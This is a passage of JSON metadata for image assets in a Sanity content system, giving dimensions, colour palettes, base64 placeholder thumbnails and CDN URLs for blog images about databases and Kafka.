ulation":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a8187","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4746c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"db-connection-string.png","path":"images/sczeoy4w/production/f2af835dd229099bb87c33d37ad1c98b9103fc69-1704x346.png","sha1hash":"f2af835dd229099bb87c33d37ad1c98b9103fc69","size":30936,"uploadId":"w6ajSaPEnd8tmmwM1mnF65ez8BIFjAEU","url":"https://cdn.sanity.io/images/sczeoy4w/production/f2af835dd229099bb87c33d37ad1c98b9103fc69-1704x346.png"} {"_createdAt":"2023-12-04T09:57:20Z","_id":"image-9036e602d6171abe572a129cce2532d4375462f5-1131x448-png","_rev":"YBdQEiAepkqcSwgPIQ1wpr","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T09:57:20Z","assetId":"9036e602d6171abe572a129cce2532d4375462f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5245535714285716,"height":448,"width":1131},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8klEQVQYlU2QW07EMAxFu/89IdaB4GsQKjO09JX4FdsBN9OZHuUjsnTsa3dv/eXr2t9uP8MwDuM4TVNKCRHpBCICABGVUsysHnTf8/o7L+uaEiASi0jZ0R0RYeZHFxExM3e/y8glA2RAlmJH1Q/soPWyEyGrKRLGWC5qd7mharznaG583NUMWYjF3Ds1yQwL0IbK+khUvVYuugJmAD4wM1HbUBLFpJBBYCNJbCXkJ1R0ySFLu8S+sKhvpJkt5MxyXXO/0Eqqp9Req6hB3CictrZHbMfipG5eu8+ZXz/ml/flMu97nH2vGpXnFVtT83j/B/sDPCXUaGnHx44AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#447490","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1270a5","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1270a5","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4accc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98ece8","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5870a8","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2894f1","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"database-up-running.png","path":"images/sczeoy4w/production/9036e602d6171abe572a129cce2532d4375462f5-1131x448.png","sha1hash":"9036e602d6171abe572a129cce2532d4375462f5","size":23039,"uploadId":"JeiwcSnzRmnD1g7mScsfMiw8OU70yJdY","url":"https://cdn.sanity.io/images/sczeoy4w/production/9036e602d6171abe572a129cce2532d4375462f5-1131x448.png"} {"_createdAt":"2024-04-17T15:05:15Z","_id":"image-81ce3c4076606fd5fadb15ced5fd35e83160a70a-1200x628-png","_rev":"ajOdr4DX4POKI5xrBRaBcS","_type":"sanity.imageAsset","_updatedAt":"2024-04-17T15:05:15Z","assetId":"81ce3c4076606fd5fadb15ced5fd35e83160a70a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN=,.$U^-odr}upHaJiei{Y+Zjgha_g#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACNUlEQVQokU3R60+TBxiG8RcXlcV9MB7CptGgnJSKILXF0EqxrWaa6IepCM5DzNzUaPmkyaqA0AOWtlApMohLZqL7N3tdprx+8B/4Pff93AFTe+TxEcn1yYuTkuuW2W55NSD5QXl9Wucj8jYiixEpRqR+XrYysn1J1oak2idrZ6Q5asD0j/KiX/4ek3xc8qPy+pwUElJJSzWttbSsXJTlmJSHZDUm21n5JykrvVI+KpUTUu01YGafzA7KQkoWJ+VtUhYTstzGrkgtq/VMCBaHZb5bir3SiEpjRMrHpdAlpV9k6dA3MHdK5iekkJHCJSlOhmApKcUxqSSlelHejcnyiNRjspkKKzfjUj8tlfahn7+r3AaLWSmmpTAhpZSUElKIS/mCVCekkZVmVravyqff5Mtt+e+abF4If1jtMeBOZ5hwYVKW0rI0IYvjUkzKckrK4yFYn5Tmr7J5Vf69IV+m5f8p+ZiWZlTeD0utv52wU573Sb49SkzyUXkTlblRmRuRhbPhGOsZ2bgsGxn5eE0+35JP12X9nNQGpHFmJ2XQurPX1l/Hbc2eklyPPDsiTw7L04PybL/kDsh8T7jsWlxqI9KIyVZKtpKyOijV/hDeHDNoTe2x9ajL1pNjtv7skof75Pddcr9DHnbIHz/Iy0OyEpHVYXnXL5UBWY/Kh3j4u8bQDsZWwqB1s8M2yvRemdktM7vkbiD3AnkQyKMOmf1JSn1SH5LSyRBtng/H2IjKRjvxuGwn/ApNNhXxftEQRwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935605","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac57f","foreground":"#000","population":0.99,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#c48c94","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Multi-Tenant Analytics in PostgreSQL.png","path":"images/sczeoy4w/production/81ce3c4076606fd5fadb15ced5fd35e83160a70a-1200x628.png","sha1hash":"81ce3c4076606fd5fadb15ced5fd35e83160a70a","size":211565,"uploadId":"bsA4vOl1NJN9N1tpeSyizOVnGNifq99O","url":"https://cdn.sanity.io/images/sczeoy4w/production/81ce3c4076606fd5fadb15ced5fd35e83160a70a-1200x628.png"} {"_createdAt":"2023-12-04T11:15:26Z","_id":"image-c8169e382dd43a97fa74c64b0ead1ba3d26c28e3-1567x844-png","_rev":"qGO7x5curYKYCZh8YLAE37","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T11:15:26Z","assetId":"c8169e382dd43a97fa74c64b0ead1ba3d26c28e3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC8g:t%0ISxaRk_4oxM{ogR*D$ait7WBoI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACeklEQVQokR2Q6U/acABA+xcI9KCUtr+2QDlEiWTOkDjFcQ2VctQWWihXKSIwdRqZ4hYF3OHG1M1NvPZhf+o2k/f15SUPgu2yFSg4U8KZMs7WCUeTdneAZxd494G3x04fczMn3OyA8fVJfodwdqzsFkLWzDbFhEsQ464EQ90XkYOl2OFy/F341clyYvAy+TG6/mUl+XUpMY4K18ncJLJ+uRgdzIV6wLONMW2EqlvsGuQJGCuJt8LGQJDOROVc1i7S8jiTv9wo/RSLN+nCRCo/FvU/knablsfx1NlCeDjz/JTx9XBuB5oObsbW+hl5tJoZrOXORHWcLXzLFi5F9TpfuZXK9zn1XtJ+y+U7WbsW1e/p/CSW+jEb+kB7B5BvrhlJHmak0Wp2EFs/jQujlPglp1wJ0pVYvMlXHsTiQ674KKq32fxVPPVpYfnUP3/k8PdIdx9yTtdD4TfRteNI8ngx0l9YOgonhgnhfCX5OSZcpKRf6fxdSpokhItwYhQMHVAuAyHLKK1jTBdCqbzdUQLuKnDrNG9QfIv1bTv9+w7/gStw5Am+980Pfc+GfOCQ9XbsDh2l6zBZhckqBlqQySr+B5fMNsVCaDBZR6gmSrcxposxHQx0rNwuzu1hTAe2VyxEEQWbT7d1hGpABJFjgczyZdJVw+gqQtZRuomBNsZ0ENqAyRpCNzCwhdJNC6FZCBUDLYxpw2TFbFMgBxADvBKYa/KzLYLTMaBbmU2c7eLcawwYMKkhVBkDBkrrZptqthWemnWTrTBlFSHAKQ5X0emtsZ4G5TJIvkW7u8Czw3j3aPe23WnYnQbp6liZhtlWMOGyhSiZCXUKl/7JfwELeLDEkoYqRgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372e5c","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":12.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":12.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959ac4","foreground":"#000","population":1.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0e7f3","foreground":"#000","population":8.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697093","foreground":"#fff","population":1.62,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb494e","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cdc-azure-sql-kafka-debezium.png","path":"images/sczeoy4w/production/c8169e382dd43a97fa74c64b0ead1ba3d26c28e3-1567x844.png","sha1hash":"c8169e382dd43a97fa74c64b0ead1ba3d26c28e3","size":135697,"uploadId":"bGv20HbDiCsY402DAsI0vZqCoiIvqGoA","url":"https://cdn.sanity.io/images/sczeoy4w/production/c8169e382dd43a97fa74c64b0ead1ba3d26c28e3-1567x844.png"} {"_createdAt":"2024-03-14T15:57:57Z","_id":"image-65e6a8e1865ca2e657b7f9e3e5ce9ff052e56293-2500x1308-png","_rev":"MXByqil29wvmyqa7TCkTFa","_type":"sanity.imageAsset","_updatedAt":"2024-03-14T15:57:57Z","assetId":"65e6a8e1865ca2e657b7f9e3e5ce9ff052e56293","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M68Nh?EsVXxw9p?]-Y9YkXr^NWxdWSj]n,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdElEQVQokYXSyU8TARTH8fkHWIR2pqXLzHQZSilFWQQRscjaVpZpsaWhYZcl7MpSwiJlCYiJAgkGEdcDN/4AL548efIv8OA/8jUUYjyYeH/v83557wm5UhTR3k2BI4nF2Y/VNYxNG0X1TuEonkPxPkUtXsLlX8VTlqaofIfCsl085S8oqT6kpPoA1ZdGUucw2McRDNYYJRVj1DUu0Bhapa55hdt1KQKtmzS37xEI7lIf3Kep/YCgfky46w2h6Fta9DPaYp8JRt/hr9pCUifItw4jGK1xKmunaYtuEE3sEta3eBDcIBTZozP+io7YAZHEMbHeU2K9ZyQGPtLd/4mWzlPqWk+403CIu3QZozyKwTaCkG+J4a8cp741RVN4jfvNq9Q2rBJoSRNo3aapbZ/22BFdyRPa4ye0PTqhpfMok0r2PsPmWcekzmCwjyEq0wg5UhSTnMCu9aF4hpALR5A945kdqt5ZXP5FfJVr3KrZwle1TVHFJlppCpt7FsW9RqFnF8W5jEmeQlKfIGQbdbKMEbLFLnJMcXLNPdwo6Mvs43KqUZ5Ecsxhdi1Q4F7G7EohKdO4tUXC9z4w+PALeuCcEt8OBa5lhEssS7wGpUswSZ6ln3zbFSgqk5kLmhwLmYZL0KzOUnvzOenEN87nf/Fy8AfhmvfYtHWEHFHHYIogWWKI9iQGW+8VeJ3wD+j8G5zhrneH7dBXLgZ+chj5TrDsNRbHIkKepOOw6ni1JJrvceYP860D/wTNGXAJUZ7AqczS4TtmqvKCuP+UYudKpk7IkzpRrToerQeXdxiLc+g/YApRmcJoH0NWF9CcK9jlaSR5ApNjnt9HWGtUTTerywAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4571","foreground":"#fff","population":0.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#180a80","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbb2e6","foreground":"#000","population":9.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8394a7","foreground":"#fff","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cbb2e6","foreground":"#000","population":9.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f97","foreground":"#fff","population":1.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f47d2","foreground":"#fff","population":1.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Dragonfly_social_media_1200x628 (1).png","path":"images/sczeoy4w/production/65e6a8e1865ca2e657b7f9e3e5ce9ff052e56293-2500x1308.png","sha1hash":"65e6a8e1865ca2e657b7f9e3e5ce9ff052e56293","size":221187,"uploadId":"a2PNJyyHc3yjEHkcwoYkeKcTatE38bqm","url":"https://cdn.sanity.io/images/sczeoy4w/production/65e6a8e1865ca2e657b7f9e3e5ce9ff052e56293-2500x1308.png"} {"_createdAt":"2023-12-05T13:54:48Z","_id":"image-4a5320ca1bbf50cdc8d9cbd7f4965307158e093b-1200x628-png","_rev":"zHeFW2t7bUb3lAyGGpj93d","_type":"sanity.imageAsset","_updatedAt":"2023-12-05T13:54:48Z","assetId":"4a5320ca1bbf50cdc8d9cbd7f4965307158e093b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M496t]1V}w+D1S?YO_]116]O,*JZwFXBoc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACcklEQVQokW3PW0+SAQDGcT5AWsqZFxB43xB4URBFQMATeMhDGnjIoXlK8zSNQBGJls6mbs4Lc7Z1uCnX1mqrC9fW4Qt01zf6N2mttbx4Lp/fnkdRqUtiFlM4aueQfcvUNKxR25jBWZfB6kpT5chglXOINQUs8iMEewGtdQ2VaRG3c4lc1yAfUo3sDiRoCW6jUAmjuLzzhNuyhGM5oh0FYj3btHXv0NS+TaBlh3Bsj+auQ3yRfaqcBdTmRZTGOfzuGU4Gw/y8Z+bNWDMD0Q0UatNt6oIrdPY9JN5bpLN/m4HhA3oG90ugJ1jEG3pMfeQJsn8XU3W+BKpMC9S4Vti8keTTZITDoRHi4R0UFfoRJHkWX2iVuuAa9U0ZQq1b+KMF7J4sgpTGIGUQ7DmM9gJ6aRONZRWNZQ2Lo0hL+IBU7xH9nafUBl6gKFMnuUDVpjE05nG0lin0tjkM4iI66zKaqotyGq0ti17KY5Dy6G0PEMQsFnkPd+gt/tgXfK3nOANnKK6oEpSiHqJcO8o1XYoKwxRK493StYs1WmsanbiOXtrCVp0jLC9w0zNJV0OOYPSMhvh36lo//wbL1AmuapJU6EaoNIxRKUxQKUyjMs39B+qkLWqdGdYDfbxv93DUNshA2zP88W9/wQpNArMhiSimsFTPoLNOozRe5N+FejFbAr2uNHvhGD+6qzjriDHSfow/9hVvyzmOxtcolJpbSKYEsmMCu3seQZq9FPxz2e3MsuQf5mlzKxuRCWKREzzRj8hN77jue4miXJ1AqU2gEUZRm8ZRGu+ULl8O5hGr8zTV3KfLu0rEW0T2HWOvf4Xke47Nc8ovpqNnePUr2JwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b4472","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b95bb","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d77e56","foreground":"#fff","population":9.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6186","foreground":"#fff","population":1.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3444bc","foreground":"#fff","population":7.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-KafkaPython-unnamed 1200x628.png","path":"images/sczeoy4w/production/4a5320ca1bbf50cdc8d9cbd7f4965307158e093b-1200x628.png","sha1hash":"4a5320ca1bbf50cdc8d9cbd7f4965307158e093b","size":139547,"uploadId":"P9yqV3qZYVc2nzGlRb2V5AjKUHidEdFd","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a5320ca1bbf50cdc8d9cbd7f4965307158e093b-1200x628.png"} {"_createdAt":"2024-09-17T16:48:28Z","_id":"image-b258fd044cb5ae4b6901c402eb189987494627cf-797x217-png","_rev":"etbaRJcyRvzwy2RfQN2Ds7","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T16:48:28Z","assetId":"b258fd044cb5ae4b6901c402eb189987494627cf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBSW--y@K-xtKQ^jjbbIW;bb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.672811059907834,"height":217,"width":797},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABoElEQVQYlQGVAWr+AP9+QCv/bCdv/2ghlP9xKnH/iTRb/4okhP+JIY//lDZf/6dZWv+lVov/pVWJ/7BrVf/Bilz/v4eO/8CJhf/Nol7/2bh1/9m4lP/aumz/38InAPxpJHv3WQ7E9VUJ4vdiE877dxjD93kM2fV4C976hyPD+pdAwfWVQNz3l0Pb/KdcvfizdcHzsHXe9bR72vnFl8X3zqrR9M2q4vfQrcD92LhzAPtjG7LvUQbu6UwB//BcDP33cQ/77XAD/+pvA//2gh369pA3+uqLN//ujzv/+aNX+POsbfnnpWr/6atz//PAk/zuxaH+58Ce/+7Hpez71rSoAPxnII71VgvU8VEG8PVgEOD5dRXY9HYI6fJ1B+35hiHY+ZU91vKSPev1lUDq+6Za0/exctbwrXHs8rF46ffEltr0y6fj8Mim8PTNqtH817eFAP54OEH+Zh2U/mEWvf5rIpf+hCyA/oUbrf6DF7f+kC+E/qNSf/6gTrT+oU6x/q5mev6+hIH+vIG3/r6Erv7Mn4X+17Sd/te0vv7Yt4/+3cA7qEcHZfzDSWkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a3c46","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca3807","foreground":"#fff","population":1.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97306","foreground":"#fff","population":11.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc4bc","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b577","foreground":"#000","population":10.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#648c8c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97306","foreground":"#fff","population":11.32,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image.png","path":"images/sczeoy4w/production/b258fd044cb5ae4b6901c402eb189987494627cf-797x217.png","sha1hash":"b258fd044cb5ae4b6901c402eb189987494627cf","size":37654,"uploadId":"zFrqck2cL8YJbE1u6dK09ZeIXf54f2bA","url":"https://cdn.sanity.io/images/sczeoy4w/production/b258fd044cb5ae4b6901c402eb189987494627cf-797x217.png"} {"_createdAt":"2024-05-17T07:28:12Z","_id":"image-f8661472539b6c3c7a6a365ad0d2e99960dad89c-1624x1208-png","_rev":"5dKvdU2b7V4fiIIxYkwyAL","_type":"sanity.imageAsset","_updatedAt":"2024-05-17T07:28:12Z","assetId":"f8661472539b6c3c7a6a365ad0d2e99960dad89c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDLq66~X00_24.0000_2ghR500_3-oD%~W009^V@=_Nt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3443708609271523,"height":1208,"width":1624},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEU0lEQVQ4jV2Tf0wUVxDHn2mtUNtKTWxj/MPaWmKMMaJVE2N/0bTUGKsYhBrTpE0brWBFGii/LP4oP2qUKlaEqmDp+YMi1hJSsArWQAFtELg7+XUgB3e77N3e233v7dt9uwdyr+HaatJJPjPJTDL5zmQGAABABAARcyKfiJobASI3TycaOAD8MV7OAf+Xx/ZC2PP/1/Lyz0WsefOT6JeXxce+tPTD9YtjPl/56qqUFdErk2MWxyTHRK9KWb4hqeiVC78553kpn22r/n3W5m15C9bHpq2O25S9oqT06gKfzz/H7XbPysrKnQFu3epcsj+7NHNHUvbVrVsy6xLis2oTtmTVJmzNqU3Yklm7PfHr6oKDFae6/uzOVUQ50eUS1padqd+dkX22puDI5Uv3ugYLGGN7DMN4/cGDkdlg0N4fd+NMRePlnBxamZFjVqZnm+e/TDcrvtpvVqalm7asXNZ88gTy1tkk5a+W674xMbvHMfzzzeZO3NZx3xDHZZkQ0q9pWiGEcCGQhkc2SzeutEkXjnCP7Rj3XizmYlUR91wq4UJVIRcuHOVSzfec/FLCUcuvI4rXW4awdiMQgJOKgjhCiEMIgwghm6qqS4FP9G9QXb0NmrNNwY4OlTjaIbW3QOS8qxBHm4od7QpydEBib1XRoKNT8cNiZrAaplOBGbqiU6pgjAVCSJmiKEuAIMJlkqR+4ZeU45IYKB8fEy+NjwpXJFGu8kmw1C/B0z5RtsmCVBOQYDGE5COdkHRDhecZQVWmYZQahlFEKd3u8/leBK4hT6Qo4XkqYgv944F3Rwbd+UP9I+WiR0rTsL4WK+RtYVTMc7tGy8fHxtOwor4DffJuySOek0WpmCL0gU61RYFA4Pkhl2smAGA+AOC5ma+t/iyq/tofb7S33CvsaO2qaG/t3ld9sXF5fd3tdZ13HAf67AOnBLdnp4Hxe1BWygRBFiQJ3iEq3v6QBCKn73DUNQhAw/U7c3ftKYndGJ+XnLQj/2DqvpPlGRmlP+5KOX4iPvFQbuKOggO5uWeONVxrypK9QlyQGetUiL7z+2AflNUmg2jbeFB/mvMpwKcegumR11ysbv6h6Gj1QN43P40eKrC5DxfY3Afzbe68w1XheOJkbW9bS+dNqirfTjLtfV2W4ogkfkoD/qSghqO5pT85rXDSoABgrG0cfuC93WN3TXX3uHiPfegRnV0DvNs+xHv7RkKeMWGSYtUxgeSdwbv180PXT0fxvpZnOZLCzcIwDQDTNDfput6qadoUYyz0H4ZhhAghIV3XQ5TSkAIh1zB2Wxraw7qbosI7m/7lSQtwkwDe0wh4UA83fIsxVsUYsweDQadlWU7TNJ2GYTgRQk5N05yUUgfG+D6ltIExlkSx+kx4xIdTM6YmJgAX+gGXBv9RqOv6ItM0EyzL2hsMBlMtywqj63oqQiiVEJLKGNtrmmaqaZofGwZbrmLy1ATFwKIE8HjwiGn7G5WuPwGdqSrXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323562","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#571c0a","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2540f","foreground":"#fff","population":2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdbca8","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb468","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad5c55","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2540f","foreground":"#fff","population":2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-on-aws.png","path":"images/sczeoy4w/production/f8661472539b6c3c7a6a365ad0d2e99960dad89c-1624x1208.png","sha1hash":"f8661472539b6c3c7a6a365ad0d2e99960dad89c","size":39306,"uploadId":"iVheJHsu9W30qd9FO6sjQ2M2SVT4A13n","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8661472539b6c3c7a6a365ad0d2e99960dad89c-1624x1208.png"} {"_createdAt":"2024-08-14T09:16:51Z","_id":"image-fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434-1200x628-png","_rev":"2Op9OgqNBO1fad6OzkgZXT","_type":"sanity.imageAsset","_updatedAt":"2024-08-14T09:16:51Z","assetId":"fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M67K.M^~9DM_og?dx[M_NKbF00IT%NoMW9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACXUlEQVQokT2RaU8TURSG5x8AnbYz01naKVNABUFQIQVJgKKlLN1Yyk7ZkR2qIIughiBbwIhL/LOPuZfoh/PhntzznPd9j1Km5dEjo1jeFKY3Q7h6Ea92Da9uC69uh1j9HlUNB3hPj3AeHRGKHaBX7qFHd9ErS4RihxiVe/idZXzmDIoaGuJJ4xKvut7R1rVHR/KY/sFz+gcvSaYvSGau6c1/I9F3S13zmYQaXgnN3SAY2ZTQoLuJz5ql3BhHCToFmuLrJAeOeTNwQjL9mdzoFYWpb2QLt6RyN2QK96QLP+lI3fG8/Sux+n00961UFYys43dW8JnTshTDHaO5fYtU5iM96VMSvSe87v9CZuSagaEbEn2X9GRvyY7+Ijf2h978Pc/ih2iReXxmkYCzLIGqNYtqzaNoYaFwTSoUwK7UCZ09pyTT5/QNXkuFvfk7BoZ/kB75TSr3nYaWfQLONOXGhAQ+qFxCtRdQVHMYr3aWpvgGL9p2aIzv0hh/z8v2Q+Kdn2jrPqOt+5zWxAWtiStaOi+obijht4XFIpq7jRbdIRBeIxBeRSnTcvjNIYzwGIY7je4W0d15QpUrWFUbONU7ODWl/2VXlzCia6j2vMxQjz4cxW8vyp7iC2axQ1nc6Bjhqlm0SFGe32fOodoiH7FZWFqVb9VeQrUWZGZ+ewHN3SIY2UC15qgITaL4tQyeneNxzSSx2kVMbw7VKsptAWdF5iNKZCV6AiQWiuEHy1tSpbArFZYFs6h6joA5TMAeR7Wm5IC4mLD0Lxvx+QE0RYUxQbk+KoECZngf0KLbMsO/VK5dqvWJ2IAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d446d","foreground":"#fff","population":0.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":10.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":10.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#989ec3","foreground":"#000","population":0.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ebf5","foreground":"#000","population":5.57,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e93","foreground":"#fff","population":1.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4347","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"The Digitalization of Bricks-and-Mortar (1).png","path":"images/sczeoy4w/production/fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434-1200x628.png","sha1hash":"fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434","size":231658,"uploadId":"VnqM7UZrKnlA905HPg2dQZpYFmslCnLR","url":"https://cdn.sanity.io/images/sczeoy4w/production/fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434-1200x628.png"} 